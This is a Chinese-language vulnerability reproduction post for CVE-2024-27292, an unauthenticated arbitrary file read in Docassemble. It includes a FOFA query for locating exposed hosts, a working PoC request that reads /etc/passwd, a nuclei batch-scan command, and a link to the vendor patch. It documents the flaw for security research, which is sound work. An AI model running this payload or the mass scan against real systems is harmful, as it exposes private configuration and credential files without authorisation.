漏洞复现-CVE-2024-27292

admin 2024年7月15日13:20:49评论25 views字数 954阅读3分10秒阅读模式

:漏洞名称

Docassemble任意文件读取漏洞

:漏洞描述

Docassemble是一款强大的开源工具,主要用于自动化生成和定制复杂文档,特别是在法律文档处理领域表现出色。由Jonathan Pyle个人开发者开发,是一个免费的开源专家系统,用于指导访谈和文档组装。Docassemble基于Python编写,充分利用了Python的灵活性和广泛的库支持。它采用YAML格式定义访谈逻辑,这种数据交换语言简洁且易于理解,使得非程序员也能轻松上手创建复杂的问答流程。
Docassemble interview 接口存在任意文件读取漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。

漏洞影响版本

Docassemble <=1.4.96

:网络空间测绘查询

FOFA

icon_hash="-575790689"

漏洞复现-CVE-2024-27292

:漏洞复现

poc
GET /interview?i=/etc/passwd HTTP/1.1Host: User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/9.1.2 Safari/605.1.15Connection: closeAccept: */*Accept-Language: enAccept-Encoding: gzip

漏洞复现-CVE-2024-27292

任意文件读取漏洞(Arbitrary File Read Vulnerability)通常是由于程序对用户输入的文件路径或文件名没有进行足够的验证和过滤,导致攻击者可以通过构造恶意输入来读取任意文件。
:批量检测
nuclei.exe -t CVE-2024-27292.yaml -l host.txt
:修复建议
厂商补丁:Docassemble-----------目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:https://github.com/jhpyle/docassemble/security/advisories/GHSA-jq57-3w7p-vwvv

原文始发于微信公众号(Adler学安全):漏洞复现-CVE-2024-27292

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月15日13:20:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   漏洞复现-CVE-2024-27292https://cn-sec.com/archives/2948031.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息